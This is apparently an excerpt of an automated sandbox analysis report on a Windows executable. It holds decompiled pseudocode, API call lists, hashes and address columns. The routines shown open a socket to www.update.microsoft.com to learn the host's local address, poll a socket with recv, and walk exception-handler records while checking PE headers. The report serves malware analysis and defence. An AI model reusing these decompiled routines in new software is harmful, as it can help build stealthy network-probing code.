                                                                                                                                                                                                                                                                                                                                                      0x0040b44b
                                                                                                                                                                                                                                                                                                                                                      0x0040b44b
                                                                                                                                                                                                                                                                                                                                                      0x0040b451
                                                                                                                                                                                                                                                                                                                                                      0x0040b454
                                                                                                                                                                                                                                                                                                                                                      0x0040b454
                                                                                                                                                                                                                                                                                                                                                      0x0040b464
                                                                                                                                                                                                                                                                                                                                                      0x0040b468
                                                                                                                                                                                                                                                                                                                                                      0x0040b471
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040b479
                                                                                                                                                                                                                                                                                                                                                      0x0040b481
                                                                                                                                                                                                                                                                                                                                                      0x0040b48e
                                                                                                                                                                                                                                                                                                                                                      0x0040b483
                                                                                                                                                                                                                                                                                                                                                      0x0040b486
                                                                                                                                                                                                                                                                                                                                                      0x0040b486
                                                                                                                                                                                                                                                                                                                                                      0x0040b49b
                                                                                                                                                                                                                                                                                                                                                      0x0040b49f
                                                                                                                                                                                                                                                                                                                                                      0x0040b4a5
                                                                                                                                                                                                                                                                                                                                                      0x0040b4ac
                                                                                                                                                                                                                                                                                                                                                      0x0040b4b2
                                                                                                                                                                                                                                                                                                                                                      0x0040b4bd
                                                                                                                                                                                                                                                                                                                                                      0x0040b4bd
                                                                                                                                                                                                                                                                                                                                                      0x0040b4c6
                                                                                                                                                                                                                                                                                                                                                      0x0040b4cf
                                                                                                                                                                                                                                                                                                                                                      0x0040b4cf
                                                                                                                                                                                                                                                                                                                                                      0x0040b4ac
                                                                                                                                                                                                                                                                                                                                                      0x0040b4d4
                                                                                                                                                                                                                                                                                                                                                      0x0040b4e3
                                                                                                                                                                                                                                                                                                                                                      0x0040b4ef
                                                                                                                                                                                                                                                                                                                                                      0x0040b4fb
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040b4e3
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040B442
                                                                                                                                                                                                                                                                                                                                                      • ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040B468
                                                                                                                                                                                                                                                                                                                                                      • recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040B49F
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040B4B4
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(00000001), ref: 0040B4D4
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040B4DA
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CountTick$Sleepioctlsocketrecv
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 107502007-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 0e74c3e33ec2aa28ec98663b20a66f0c617acb5feec16327e560d5d77fbe482d
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: dff8c7912a27c6a5c6132b561c84afc017a05247b3f7c72140559f4e4359e496
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0e74c3e33ec2aa28ec98663b20a66f0c617acb5feec16327e560d5d77fbe482d
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A1310A74900209EFCB04DFA4D948AEE7BB1FF48314F10866AE925A3291D7749B90CB99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00409430 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 16%
                                                                                                                                                                                                                                                                                                                                                      			E00409430() {
				intOrPtr _v8;
				short _v10;
				short _v14;
				short _v18;
				intOrPtr _v20;
				short _v22;
				char _v24;
				intOrPtr _v28;
				short _v30;
				short _v34;
				short _v38;
				intOrPtr _v40;
				short _v42;
				char _v44;
				char _v48;
				intOrPtr _t28;
				char* _t30;

				_v8 = 0xffffffff;
				_v24 = 0;
				_v22 = 0;
				_v18 = 0;
				_v14 = 0;
				_v10 = 0;
				_v24 = 2;
				__imp__#9(0x50);
				_v22 = 0;
				_t28 = E004093F0("www.update.microsoft.com");
				_v20 = _t28;
				__imp__#23(2, 1, 0);
				_v28 = _t28;
				if(_v28 != 0xffffffff) {
					_t30 =  &_v24;
					__imp__#4(_v28, _t30, 0x10);
					if(_t30 == 0) {
						_v44 = 0;
						_v42 = 0;
						_v38 = 0;
						_v34 = 0;
						_v30 = 0;
						_v48 = 0x10;
						__imp__#6(_v28,  &_v44,  &_v48);
						_v8 = _v40;
					}
					E004094F0(_v28);
				}
				return _v8;
			}




















                                                                                                                                                                                                                                                                                                                                                      0x00409436
                                                                                                                                                                                                                                                                                                                                                      0x0040943f
                                                                                                                                                                                                                                                                                                                                                      0x00409445
                                                                                                                                                                                                                                                                                                                                                      0x00409448
                                                                                                                                                                                                                                                                                                                                                      0x0040944b
                                                                                                                                                                                                                                                                                                                                                      0x0040944e
                                                                                                                                                                                                                                                                                                                                                      0x00409457
                                                                                                                                                                                                                                                                                                                                                      0x0040945d
                                                                                                                                                                                                                                                                                                                                                      0x00409463
                                                                                                                                                                                                                                                                                                                                                      0x0040946c
                                                                                                                                                                                                                                                                                                                                                      0x00409474
                                                                                                                                                                                                                                                                                                                                                      0x0040947d
                                                                                                                                                                                                                                                                                                                                                      0x00409483
                                                                                                                                                                                                                                                                                                                                                      0x0040948a
                                                                                                                                                                                                                                                                                                                                                      0x0040948e
                                                                                                                                                                                                                                                                                                                                                      0x00409496
                                                                                                                                                                                                                                                                                                                                                      0x0040949e
                                                                                                                                                                                                                                                                                                                                                      0x004094a2
                                                                                                                                                                                                                                                                                                                                                      0x004094a8
                                                                                                                                                                                                                                                                                                                                                      0x004094ab
                                                                                                                                                                                                                                                                                                                                                      0x004094ae
                                                                                                                                                                                                                                                                                                                                                      0x004094b1
                                                                                                                                                                                                                                                                                                                                                      0x004094b5
                                                                                                                                                                                                                                                                                                                                                      0x004094c8
                                                                                                                                                                                                                                                                                                                                                      0x004094d1
                                                                                                                                                                                                                                                                                                                                                      0x004094d1
                                                                                                                                                                                                                                                                                                                                                      0x004094d8
                                                                                                                                                                                                                                                                                                                                                      0x004094dd
                                                                                                                                                                                                                                                                                                                                                      0x004094e6

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • htons.WS2_32(00000050), ref: 0040945D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 004093F0: inet_addr.WS2_32(00409471), ref: 004093FA
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 004093F0: gethostbyname.WS2_32(?), ref: 0040940D
                                                                                                                                                                                                                                                                                                                                                      • socket.WS2_32(00000002,00000001,00000000), ref: 0040947D
                                                                                                                                                                                                                                                                                                                                                      • connect.WS2_32(000000FF,?,00000010), ref: 00409496
                                                                                                                                                                                                                                                                                                                                                      • getsockname.WS2_32(000000FF,?,00000010), ref: 004094C8
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • www.update.microsoft.com, xrefs: 00409467
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
                                                                                                                                                                                                                                                                                                                                                      • String ID: www.update.microsoft.com
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 4063137541-1705189816
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 61682ff06a6437a6f57e339153625ea7f5920ee8b5e39cee4b88707769928f7d
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 95a71ca33063cdb158bfe8a4e5dd4910bfcb1506d7a5175e69760843b0b70449
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 61682ff06a6437a6f57e339153625ea7f5920ee8b5e39cee4b88707769928f7d
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 20213EB4E142099BCB04DFE8D946AEFBBB4AF4C300F104169E509F3391E7B45A45DB69
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040EE1D Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 195nativeCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040EE1D(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x415ef0;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x415f38 = 1;
										__eflags =  *0x415f38;
										if( *0x415f38 != 0) {
											goto L60;
										}
										_t84 =  *0x415ef0;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x415f38 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x415ef0 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x415ef8 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x415ef4 + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x415ef8 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x415ef8 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x415f38 = 1;
							__eflags =  *0x415f38;
							if( *0x415f38 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x415ef8 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x415ef8 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x415f38 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x415ef8 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x415ef0 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x415ef8 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x415ef8 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}




































                                                                                                                                                                                                                                                                                                                                                      0x0040ee27
                                                                                                                                                                                                                                                                                                                                                      0x0040ee2a
                                                                                                                                                                                                                                                                                                                                                      0x0040ee30
                                                                                                                                                                                                                                                                                                                                                      0x0040ee4e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ee4e
                                                                                                                                                                                                                                                                                                                                                      0x0040ee38
                                                                                                                                                                                                                                                                                                                                                      0x0040ee41
                                                                                                                                                                                                                                                                                                                                                      0x0040ee47
                                                                                                                                                                                                                                                                                                                                                      0x0040ee56
                                                                                                                                                                                                                                                                                                                                                      0x0040ee59
                                                                                                                                                                                                                                                                                                                                                      0x0040ee5c
                                                                                                                                                                                                                                                                                                                                                      0x0040ee66
                                                                                                                                                                                                                                                                                                                                                      0x0040ee66
                                                                                                                                                                                                                                                                                                                                                      0x0040ee68
                                                                                                                                                                                                                                                                                                                                                      0x0040ee6b
                                                                                                                                                                                                                                                                                                                                                      0x0040ee6d
                                                                                                                                                                                                                                                                                                                                                      0x0040ee6d
                                                                                                                                                                                                                                                                                                                                                      0x0040ee6f
                                                                                                                                                                                                                                                                                                                                                      0x0040ee72
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ee74
                                                                                                                                                                                                                                                                                                                                                      0x0040ee76
                                                                                                                                                                                                                                                                                                                                                      0x0040eedc
                                                                                                                                                                                                                                                                                                                                                      0x0040eedc
                                                                                                                                                                                                                                                                                                                                                      0x0040f03a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040f03a
                                                                                                                                                                                                                                                                                                                                                      0x0040ee78
                                                                                                                                                                                                                                                                                                                                                      0x0040ee78
                                                                                                                                                                                                                                                                                                                                                      0x0040ee7c
                                                                                                                                                                                                                                                                                                                                                      0x0040ee7e
                                                                                                                                                                                                                                                                                                                                                      0x0040ee7e
                                                                                                                                                                                                                                                                                                                                                      0x0040ee7e
                                                                                                                                                                                                                                                                                                                                                      0x0040ee7e
                                                                                                                                                                                                                                                                                                                                                      0x0040ee81
                                                                                                                                                                                                                                                                                                                                                      0x0040ee82
                                                                                                                                                                                                                                                                                                                                                      0x0040ee85
                                                                                                                                                                                                                                                                                                                                                      0x0040ee85
                                                                                                                                                                                                                                                                                                                                                      0x0040ee89
                                                                                                                                                                                                                                                                                                                                                      0x0040ee8d
                                                                                                                                                                                                                                                                                                                                                      0x0040ee9b
                                                                                                                                                                                                                                                                                                                                                      0x0040ee9b
                                                                                                                                                                                                                                                                                                                                                      0x0040eea3
                                                                                                                                                                                                                                                                                                                                                      0x0040eea9
                                                                                                                                                                                                                                                                                                                                                      0x0040eeab
                                                                                                                                                                                                                                                                                                                                                      0x0040eead
                                                                                                                                                                                                                                                                                                                                                      0x0040eebd
                                                                                                                                                                                                                                                                                                                                                      0x0040eeca
                                                                                                                                                                                                                                                                                                                                                      0x0040eece
                                                                                                                                                                                                                                                                                                                                                      0x0040eed3
                                                                                                                                                                                                                                                                                                                                                      0x0040eed5
                                                                                                                                                                                                                                                                                                                                                      0x0040ef53
                                                                                                                                                                                                                                                                                                                                                      0x0040ef53
                                                                                                                                                                                                                                                                                                                                                      0x0040eed7
                                                                                                                                                                                                                                                                                                                                                      0x0040eed7
                                                                                                                                                                                                                                                                                                                                                      0x0040eed7
                                                                                                                                                                                                                                                                                                                                                      0x0040ef55
                                                                                                                                                                                                                                                                                                                                                      0x0040ef57
                                                                                                                                                                                                                                                                                                                                                      0x0040f038
                                                                                                                                                                                                                                                                                                                                                      0x0040f038
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef5d
                                                                                                                                                                                                                                                                                                                                                      0x0040ef5d
                                                                                                                                                                                                                                                                                                                                                      0x0040ef64
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef6a
                                                                                                                                                                                                                                                                                                                                                      0x0040ef6e
                                                                                                                                                                                                                                                                                                                                                      0x0040efca
                                                                                                                                                                                                                                                                                                                                                      0x0040efcc
                                                                                                                                                                                                                                                                                                                                                      0x0040efd4
                                                                                                                                                                                                                                                                                                                                                      0x0040efd6
                                                                                                                                                                                                                                                                                                                                                      0x0040efd8
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040efda
                                                                                                                                                                                                                                                                                                                                                      0x0040efe0
                                                                                                                                                                                                                                                                                                                                                      0x0040efe2
                                                                                                                                                                                                                                                                                                                                                      0x0040efe4
                                                                                                                                                                                                                                                                                                                                                      0x0040eff9
                                                                                                                                                                                                                                                                                                                                                      0x0040eff9
                                                                                                                                                                                                                                                                                                                                                      0x0040effb
                                                                                                                                                                                                                                                                                                                                                      0x0040f02a
                                                                                                                                                                                                                                                                                                                                                      0x0040f031
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040f031
                                                                                                                                                                                                                                                                                                                                                      0x0040efff
                                                                                                                                                                                                                                                                                                                                                      0x0040f000
                                                                                                                                                                                                                                                                                                                                                      0x0040f002
                                                                                                                                                                                                                                                                                                                                                      0x0040f004
                                                                                                                                                                                                                                                                                                                                                      0x0040f004
                                                                                                                                                                                                                                                                                                                                                      0x0040f006
                                                                                                                                                                                                                                                                                                                                                      0x0040f008
                                                                                                                                                                                                                                                                                                                                                      0x0040f00a
                                                                                                                                                                                                                                                                                                                                                      0x0040f01e
                                                                                                                                                                                                                                                                                                                                                      0x0040f01e
                                                                                                                                                                                                                                                                                                                                                      0x0040f021
                                                                                                                                                                                                                                                                                                                                                      0x0040f023
                                                                                                                                                                                                                                                                                                                                                      0x0040f023
                                                                                                                                                                                                                                                                                                                                                      0x0040f024
                                                                                                                                                                                                                                                                                                                                                      0x0040f024
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040f00c
                                                                                                                                                                                                                                                                                                                                                      0x0040f00c
                                                                                                                                                                                                                                                                                                                                                      0x0040f00c
                                                                                                                                                                                                                                                                                                                                                      0x0040f015
                                                                                                                                                                                                                                                                                                                                                      0x0040f016
                                                                                                                                                                                                                                                                                                                                                      0x0040f018
                                                                                                                                                                                                                                                                                                                                                      0x0040f01a
                                                                                                                                                                                                                                                                                                                                                      0x0040f01a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040f00c
                                                                                                                                                                                                                                                                                                                                                      0x0040f00a
                                                                                                                                                                                                                                                                                                                                                      0x0040efe6
                                                                                                                                                                                                                                                                                                                                                      0x0040efed
                                                                                                                                                                                                                                                                                                                                                      0x0040efed
                                                                                                                                                                                                                                                                                                                                                      0x0040efef
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eff1
                                                                                                                                                                                                                                                                                                                                                      0x0040eff2
                                                                                                                                                                                                                                                                                                                                                      0x0040eff5
                                                                                                                                                                                                                                                                                                                                                      0x0040eff7
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eff7
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040efed
                                                                                                                                                                                                                                                                                                                                                      0x0040ef70
                                                                                                                                                                                                                                                                                                                                                      0x0040ef73
                                                                                                                                                                                                                                                                                                                                                      0x0040ef78
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef81
                                                                                                                                                                                                                                                                                                                                                      0x0040ef83
                                                                                                                                                                                                                                                                                                                                                      0x0040ef89
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef8f
                                                                                                                                                                                                                                                                                                                                                      0x0040ef95
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef9b
                                                                                                                                                                                                                                                                                                                                                      0x0040ef9d
                                                                                                                                                                                                                                                                                                                                                      0x0040efa6
                                                                                                                                                                                                                                                                                                                                                      0x0040efaa
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040efb0
                                                                                                                                                                                                                                                                                                                                                      0x0040efb3
                                                                                                                                                                                                                                                                                                                                                      0x0040efb5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040efbc
                                                                                                                                                                                                                                                                                                                                                      0x0040efbe
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040efc0
                                                                                                                                                                                                                                                                                                                                                      0x0040efc4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040efc4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eeaf
                                                                                                                                                                                                                                                                                                                                                      0x0040eeaf
                                                                                                                                                                                                                                                                                                                                                      0x0040eeaf
                                                                                                                                                                                                                                                                                                                                                      0x0040eeb6
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eeb8
                                                                                                                                                                                                                                                                                                                                                      0x0040eeb9
                                                                                                                                                                                                                                                                                                                                                      0x0040eebb
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eebb
                                                                                                                                                                                                                                                                                                                                                      0x0040eee3
                                                                                                                                                                                                                                                                                                                                                      0x0040eee5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eef5
                                                                                                                                                                                                                                                                                                                                                      0x0040eef7
                                                                                                                                                                                                                                                                                                                                                      0x0040eef9
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eeff
                                                                                                                                                                                                                                                                                                                                                      0x0040ef06
                                                                                                                                                                                                                                                                                                                                                      0x0040ef32
                                                                                                                                                                                                                                                                                                                                                      0x0040ef32
                                                                                                                                                                                                                                                                                                                                                      0x0040ef34
                                                                                                                                                                                                                                                                                                                                                      0x0040ef36
                                                                                                                                                                                                                                                                                                                                                      0x0040ef4a
                                                                                                                                                                                                                                                                                                                                                      0x0040ef4c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef38
                                                                                                                                                                                                                                                                                                                                                      0x0040ef38
                                                                                                                                                                                                                                                                                                                                                      0x0040ef38
